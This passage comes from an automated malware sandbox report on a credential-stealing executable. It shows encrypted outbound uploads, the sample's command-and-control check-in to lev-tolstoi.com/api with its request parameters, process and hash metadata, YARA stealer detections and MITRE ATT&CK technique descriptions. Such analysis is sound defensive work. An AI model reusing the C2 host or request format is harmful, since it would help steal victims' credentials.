1a 20 80 13 63 6b 56 8a 3b 41 f3 49 f5 d0 3a 48 33 51 c3 9f b6 c8 16 a7 cf 70 54 98 75 1e b4 b0 3b 58 a4 77 Data Ascii: Xi)7c5v#.@Zx<tX\|u{mC<F#"(`r&cpaqUTl^1 ]y~v"id'\()MlKnmBZ(H9xFGi`sVQWqP{m&_W2d#jRrZjX,d ckV;AI:H3QpTu;Xw
2024-12-26 12:22:34 UTC	15331	OUT	Data Raw: 52 ee 8f 9c 49 c8 4f d0 70 0a d8 38 55 db fa a4 31 ac 54 cc 8b 39 76 91 cd c9 2c e6 7f 18 8b 24 b6 b5 6c 65 5e 24 ba af 79 0f a4 75 56 4d 0d 9e 29 1f ce fc 28 0f 49 3c d9 ff 70 94 51 3a b5 e6 bf 70 f1 c9 2b 99 a1 cd 17 ab 4f 2e 7a fd ee 5d b5 31 be 9a 3b b4 e5 be c9 7a f0 6c aa f6 f3 89 3e 01 58 67 60 69 66 f5 de 54 d7 9b 09 ab f2 7d 46 3f 1f 9f 31 e4 70 87 77 ca bc 19 aa 68 12 1f 76 57 7c 5c c6 1b 7d 99 cb dd 77 68 d0 5b 60 9d e8 e7 09 2d ff 75 e8 33 7b 36 78 e1 c3 6a 8a cc a1 9d 11 0c f5 d4 d1 4c a6 59 da 5a d8 d1 8d 4a 77 e3 eb 27 fe 5d a5 4a 4a d1 06 83 33 f3 a6 16 6e 07 a0 40 96 83 ff c3 18 5f 86 2c 76 d2 15 62 dd a5 52 f5 42 c4 b0 c9 ff 9e f3 8d 13 50 98 8d 3e 2e cf f9 8c a4 26 65 df e0 70 0d a2 ae 7d dc 11 b2 c2 21 9a c2 dd 5b e1 2a ed bb 0c 3d 1d Data Ascii: RIOp8U1T9v,$le^$yuVM)(I<pQ:p+O.z]1;zl>Xg`ifT}F?1pwhvW\|\}wh[`-u3{6xjLYZJw']JJ3n@_,vbRBP>.&ep}![*=
2024-12-26 12:22:34 UTC	15331	OUT	Data Raw: c4 a7 db dd 6d 09 39 54 54 ea 26 bd 32 8b 6b ad 12 4c 7e f4 e0 f3 eb 04 71 d3 7c be 92 d9 61 47 39 a6 0c 3c c8 d6 a1 86 80 0d e6 2a 7a d3 73 34 cf e4 d6 f7 b6 6c 9c aa 2a 2e 18 73 bf 70 65 03 5a a4 0d eb 79 ab 84 06 ac 19 f4 ee 58 19 f4 4c 91 96 11 4e dc 1b df c3 00 d4 82 1b 22 82 33 9a c6 db 27 1f b8 60 b1 b2 3f e7 aa 20 ff b7 88 03 25 09 da 9a 5c 33 f8 e4 40 86 eb a7 2e 09 d7 57 93 b9 ed 5d 67 6e 4f a4 9d 8e 12 05 91 46 0c 71 30 25 8c 8a de 05 b6 8f a5 f2 81 0e db e5 a1 0b 7c 27 f2 9c 1c 5c 4e 54 bd 94 4a 15 1c fc 32 96 9d 8b d1 12 0e c7 83 93 81 0b f1 56 a5 aa 62 96 d0 80 a7 7d 00 f9 60 4b 47 3e 78 fe fd 18 fc 79 47 56 f7 1d e6 35 e5 0a db 34 19 42 07 eb 9c 25 c7 d1 02 f7 47 c0 f7 37 f4 75 af 2e 17 7c 20 17 68 a1 61 da c6 b7 78 38 ac 54 19 62 1e ca 3c Data Ascii: m9TT&2kL~q\|aG9<zs4l.speZyXLN"3'`? %\3@.W]gnOFq0%\|'\NTJ2Vb}`KG>xyGV54B%G7u.\| hax8Tb<
2024-12-26 12:22:34 UTC	15331	OUT	Data Raw: d5 a2 37 6f 6b fe 24 ec f7 33 c6 d0 50 55 7c ca f9 02 d5 c2 13 35 de 23 85 22 ea ce 8d 96 0b 26 9e 3d 35 20 85 cd a0 78 e3 6a 8e 50 cd f2 32 ee b5 da 41 9c bb df 2e 8a 68 2b 85 d1 cf d3 b2 8e 40 98 67 14 e3 46 5e 25 54 68 e7 96 c9 3f 8b 5f 36 12 68 e4 80 dd 8d ef 9a a7 17 70 f1 4b 65 ae d3 bf 37 d0 c4 77 c2 e2 c6 fb 08 a7 47 93 b0 61 76 94 e6 42 ac 06 aa e7 df ad 19 51 b3 0e be cd cb 14 4b bb a0 7b 37 25 4f 3b 14 2e 81 e9 af 00 2b 23 7e b2 dd e3 8f 41 ef ad 7b 70 4a 6c 66 ba 5a 87 e8 7d 6a cc 51 12 41 d4 4e a9 a3 89 dd 22 9e 55 13 ec 61 17 2a f4 5f 01 5a ba 6f b2 b5 98 e6 fc db 2c 48 aa 15 93 7e a2 3d ab 5f 9b 5e b2 a3 c9 51 e0 65 99 6a 80 16 96 d6 32 ea fc f2 9e d4 cb c0 d3 83 d9 3f b9 59 3d 43 65 d8 80 cf 05 1f 54 27 dc f7 9f d4 a5 9f 20 26 16 b5 e9 6a Data Ascii: 7ok$3PU\|5#"&=5 xjP2A.h+@gF^%Th?_6hpKe7wGavBQK{7%O;.+#~A{pJlfZ}jQAN"Ua*_Zo,H~=_^Qej2?Y=CeT' &j
2024-12-26 12:22:34 UTC	15331	OUT	Data Raw: b4 29 ec 67 39 d4 25 46 d8 be f8 40 59 af 59 34 e2 91 01 fc 04 48 8c 00 22 8f c2 7b b9 c1 85 80 da c4 5b f4 83 99 1d 5a 52 49 1b 47 63 03 2e e4 19 6e 3c cc 06 94 b0 7b 21 47 ee 7b 9e a6 ee e7 46 dc 2f c4 f4 cb 3a 20 a4 ef a2 48 7b fa 52 2e a0 e7 e3 fc 23 36 48 0e fe 1a d8 f7 11 b5 6d 55 31 32 e7 83 4c 13 dc 30 d6 88 89 9d 0f 10 22 c4 b3 89 5f fb 44 30 c4 af a4 97 58 b4 d7 93 1c 33 73 d8 97 1f 51 59 9e 7d 8b 54 b1 e1 b7 43 16 bd f0 04 e6 9c 16 e9 72 a9 5a 9d f3 50 b9 9a e5 d8 35 f0 01 34 05 1b 84 05 63 e8 f7 6e c9 93 6c 83 6d c3 27 11 e3 19 6f 4e 29 18 3d 0a ea fc c2 e8 a2 e0 d0 c4 ab 87 33 f7 94 8b 56 03 47 09 ad ea 04 30 9d e3 cd d7 b5 5d bf e9 a1 55 35 79 88 a4 2c df be 0b 3e d1 7f e5 5c d8 61 73 5f b5 c3 fc 5c d0 89 42 94 14 4b 01 57 c4 54 1b 46 d4 85 Data Ascii: )g9%F@YY4H"{[ZRIGc.n<{!G{F/: H{R.#6HmU12L0"_D0X3sQY}TCrZP54cnlm'oN)=3VG0]U5y,>\as_\BKWTF
2024-12-26 12:22:34 UTC	15331	OUT	Data Raw: 07 0a 28 56 46 f4 15 81 ed 73 0f 05 c1 45 ce 9f 85 b3 02 38 d0 20 25 b4 7d f7 57 28 c7 55 17 6f 87 da e4 41 c3 71 a2 6b c3 eb 5c bd 76 01 9f 0b 12 19 09 ca 08 f8 ca db 39 fa ab 08 f7 e2 78 d6 ce d6 7b 5b 47 92 0c 67 5a eb d1 d8 6b 0f 35 5c e9 01 02 20 11 01 a2 fa 3e 24 b0 2e 09 66 b6 62 ce ed 65 ec bc 23 28 01 d1 ed b2 8b b9 18 66 bd 10 7d 4f 1e 88 f0 e7 79 9c 76 0c bb 20 5a ef 8f 20 5d dc 79 16 05 78 a1 d7 c8 e2 27 11 fa f5 26 8e 39 17 e4 37 95 50 bf 8e 69 5c 84 79 79 36 4e 68 67 fa e2 8e 32 08 59 c4 4c a7 82 ea c8 07 4e 95 88 c3 3b 3d d3 e0 03 18 f2 5c 6a e0 e2 19 38 3c 99 cf 7d 28 c3 0b fd 52 a6 f8 46 6f bf 14 53 f3 cc d0 7d 0f 1f 0f bc 23 75 a3 f4 26 d7 1a 44 dc ca 80 ea d5 04 d9 dc 31 d6 16 79 74 5c 03 45 b7 ac 4b 47 90 a2 61 bf e1 57 0d ea 63 dd d9 Data Ascii: (VFsE8 %}W(UoAqk\v9x{[GgZk5\ >$.fbe#(f}Oyv Z ]yx'&97Pi\yy6Nhg2YLN;=\j8<}(RFoS}#u&D1yt\EKGaWc
2024-12-26 12:22:34 UTC	15331	OUT	Data Raw: 18 b0 01 31 8f 76 cc 63 29 0f 1e 90 2b 81 ae 71 7b ab 70 dc 60 bd 6c 5d df 82 c5 77 e1 63 12 c4 56 b0 08 ad 0a 4f 5d ab b0 a0 f0 dc 02 58 ee 9b d0 e2 7c 3d 41 ba d8 f7 e0 26 ea ba 65 71 2b 7a 74 e3 9c 07 45 55 54 38 70 70 e2 40 60 54 7e 25 f8 9b c9 cc b9 4e 5a cc 21 e2 48 1a df 59 7c 13 39 38 b7 45 1d 75 37 f6 9b 8d a4 17 04 e9 8d 8e 52 1d 4d 8d 84 d9 3c 2c da 3f e1 fb df d5 73 82 d7 cd bb 4d 4d 6d ba 8d 3f 72 5a 31 8a 73 21 17 cb 63 28 a7 6f 10 ce 38 f1 ad e8 74 25 44 13 7a a7 3c d6 fc 8d 88 1f 6f 26 4e 10 0f 7d ef af bc 83 ce 1f 69 d3 43 bd c9 79 c3 98 0a ef c2 08 4c 78 d6 c9 0e cf 06 7c 7e 3a 31 f0 33 42 88 a4 47 37 3c 1a ca bb f4 ab 23 87 c2 75 df d5 cd 86 fe c2 c3 f2 c6 d6 59 69 a6 46 d1 fe 20 ac 43 c8 c1 16 84 fb f1 89 30 5f 5c 45 1d 14 4c 45 dc b5 Data Ascii: 1vc)+q{p`l]wcVO]X\|=A&eq+ztEUT8pp@`T~%NZ!HY\|98Eu7RM<,?sMMm?rZ1s!c(o8t%Dz<o&N}iCyLx\|~:13BG7<#uYiF C0_\ELE
2024-12-26 12:22:34 UTC	15331	OUT	Data Raw: d7 17 7d 44 80 5a e9 97 c2 3c 12 fb ec c3 e6 67 ae 0a 3f d2 07 1a 1c 0c dc a2 41 04 5e 18 30 fd ed aa 40 16 ab bb 6a 69 7a 6b 69 3d bd 25 86 51 f4 96 5a 7a 1f 41 55 5e d0 ee ae 33 9a 29 3f e8 8c 95 e6 8e ab b4 0c aa 54 6f 79 e7 79 19 ea f4 bd 8c 2d 31 42 2e 5e fa 75 95 2c 7d 35 dd 3e 2f 27 13 fd 32 08 15 52 e8 8c bd 5b c9 c3 2e c8 fd 7b b7 60 c7 7e bb 43 a6 d9 37 21 89 bb 71 50 a3 a0 c8 fa e3 46 2c 1b be 0a 22 50 14 fc 8c 28 57 e8 92 b8 de 92 5e a9 3f ba 69 7a 62 83 53 a4 10 a9 93 0e 0e b4 bc 43 de f5 37 c6 09 67 de 25 95 60 ec bc fb bd a4 96 75 17 b4 25 50 5c 9f b9 c4 16 70 d4 85 40 d5 ac c9 c9 ca 7d 93 4a bb 9d d3 aa 10 f7 32 f8 45 4e 2d 5d 0e 74 94 c7 8a 49 0c 95 ab 4d 1c b2 8b e4 ed 14 23 3b 51 b3 6d 6d ad 87 32 aa fd 5a 67 3f 82 b6 98 ca b5 92 6e 88 Data Ascii: }DZ<g?A^0@jizki=%QZzAU^3)?Toyy-1B.^u,}5>/'2R[.{`~C7!qPF,"P(W^?izbSC7g%`u%P\p@}J2EN-]tIM#;Qmm2Zg?n
2024-12-26 12:22:34 UTC	15331	OUT	Data Raw: 4f 6c 62 ba 82 1c 74 54 26 82 68 e1 4b bb b4 31 a7 b6 3a 94 64 f8 53 a3 57 14 ac 47 e9 de 04 79 eb 3e 1d 7b b4 68 df 95 bd 13 24 86 20 c1 4f 75 57 11 09 79 70 f8 67 4a 00 59 fe 53 58 10 5b 13 c5 f1 15 06 ff 14 05 c4 45 3f 1a c2 7a 4f b4 3c e7 02 ca 54 7e 71 03 f6 93 75 2f d5 39 49 3e d2 d4 c5 c6 c7 e0 1c 3b e2 a5 f0 f7 6c 34 6d 34 06 35 3f 5b b9 6f 02 1d 27 a8 c1 f3 af 82 67 34 d5 61 57 4d de d8 2c 72 bd 44 10 18 c7 2f 44 06 b3 6c d6 ba c4 2a 5d ba c1 1e 59 c7 6d 82 73 13 ef d9 17 e2 c4 08 2c a1 4f 66 c5 ed b9 5d 65 41 22 22 6c 10 a4 5b c3 32 1d 5b f0 1f a4 aa b7 cf 5d fa ba dc 30 3b de 5a 04 02 e5 3e 6b 99 e1 8f 82 c6 47 f0 89 1d e1 99 6f 6a 79 a1 6d 97 d1 8d 0d a6 86 5a 39 99 92 0e 8d 2e 66 ac ce 5a 95 81 9a 13 51 f7 80 f3 73 7d 62 ac 4d 0f 42 6d 60 1e Data Ascii: OlbtT&hK1:dSWGy>{h$ OuWypgJYSX[E?zO<T~qu/9I>;l4m45?[o'g4aWM,rD/Dl*]Yms,Of]eA""l[2[]0;Z>kGojymZ9.fZQs}bMBm`
2024-12-26 12:22:39 UTC	1133	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 12:22:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=akfg8r1qn7k2398uuema86gvfq; expires=Mon, 21 Apr 2025 06:09:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9qyL%2FLu65Yvi1eDLBvnXdJZUR6ZommjeKjTNhvAwuyVoUOyFCYF4QpbRMR1SgI3swZv9%2B%2FLYeiSlYsj8%2BoZDIogCG3k4MwEEnNiHG0kOp4O2z4CFoIUj4eVCXL5RmjMlGI0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8109833a460f60-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1575&min_rtt=1520&rtt_var=609&sent=329&recv=576&lost=0&retrans=0&sent_bytes=2836&recv_bytes=557551&delivery_rate=1921052&cwnd=211&unsent_bytes=0&cid=5238fd04db967a01&ts=4479&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49744	104.21.66.86	443	6284	C:\Users\user\Desktop\GxX48twWHA.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 12:22:40 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: lev-tolstoi.com
2024-12-26 12:22:40 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 33 39 38 44 42 42 46 46 37 35 36 45 31 37 38 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=398DBBFF756E1786BEBA0C6A975F1733
2024-12-26 12:22:41 UTC	1125	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 12:22:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=io5kso7j8k0pc8mp9ig5rveb03; expires=Mon, 21 Apr 2025 06:09:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qaytvDXBHUERziLX1KA8Dz7VymkQF4MqTWA9qQ%2BxCkahwv5AXMRpb9MJ1X27goHfPyu1eVwmu5kxuTUAik%2BfCWpWj0mJnpWMZu21IngU%2BFBW0zkH0OEZlpcXezyuA5%2FcWbA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8109aa1ac903d5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1869&min_rtt=1861&rtt_var=714&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=987&delivery_rate=1514522&cwnd=226&unsent_bytes=0&cid=ae277b9e685b36bb&ts=780&x=0"
2024-12-26 12:22:41 UTC	210	IN	Data Raw: 63 63 0d 0a 46 50 37 62 50 62 6d 63 50 31 37 70 6e 6d 75 41 77 47 61 49 43 33 39 31 50 57 67 41 74 74 33 44 46 43 5a 79 76 6d 4a 63 52 54 42 50 68 66 6c 49 6d 36 59 64 4e 70 33 71 47 37 71 63 53 64 51 6b 54 6b 30 49 52 6a 4b 48 36 4f 30 6c 46 30 47 51 55 32 6f 5a 48 33 75 59 76 57 47 57 2b 46 6f 34 78 2f 73 54 35 65 4a 4b 71 6d 30 4c 56 77 64 59 4c 4a 53 34 34 53 34 58 44 35 49 5a 66 6a 41 53 4c 74 79 7a 53 63 33 73 42 51 4c 47 77 6b 53 78 2b 46 4f 6d 4f 55 35 41 45 31 6b 78 68 66 50 79 49 6e 70 64 30 51 51 36 47 52 39 77 6d 37 30 54 33 4f 52 61 66 4d 57 38 44 66 54 69 58 4c 67 6e 58 52 41 66 55 6a 44 4c 67 41 3d 3d 0d 0a Data Ascii: ccFP7bPbmcP17pnmuAwGaIC391PWgAtt3DFCZyvmJcRTBPhflIm6YdNp3qG7qcSdQkTk0IRjKH6O0lF0GQU2oZH3uYvWGW+Fo4x/sT5eJKqm0LVwdYLJS44S4XD5IZfjASLtyzSc3sBQLGwkSx+FOmOU5AE1kxhfPyInpd0QQ6GR9wm70T3ORafMW8DfTiXLgnXRAfUjDLgA==
2024-12-26 12:22:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49766	13.107.246.63	443	6212	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 12:23:01 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Target ID:	0
Start time:	07:22:08
Start date:	26/12/2024
Path:	C:\Users\user\Desktop\GxX48twWHA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\GxX48twWHA.exe"
Imagebase:	0xd10000
File size:	3'011'072 bytes
MD5 hash:	F0AE755FCF9BFC54922B2076D228E957
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1907811909.0000000001331000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1907751642.0000000001382000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1907970052.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:22:50
Start date:	26/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=GxX48twWHA.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	07:22:51
Start date:	26/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=1980,i,10270169836540111094,11000542217365241876,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	07:22:53
Start date:	26/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=GxX48twWHA.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:22:54
Start date:	26/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1980 --field-trial-handle=1904,i,2015281234789072614,15298552563743304732,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

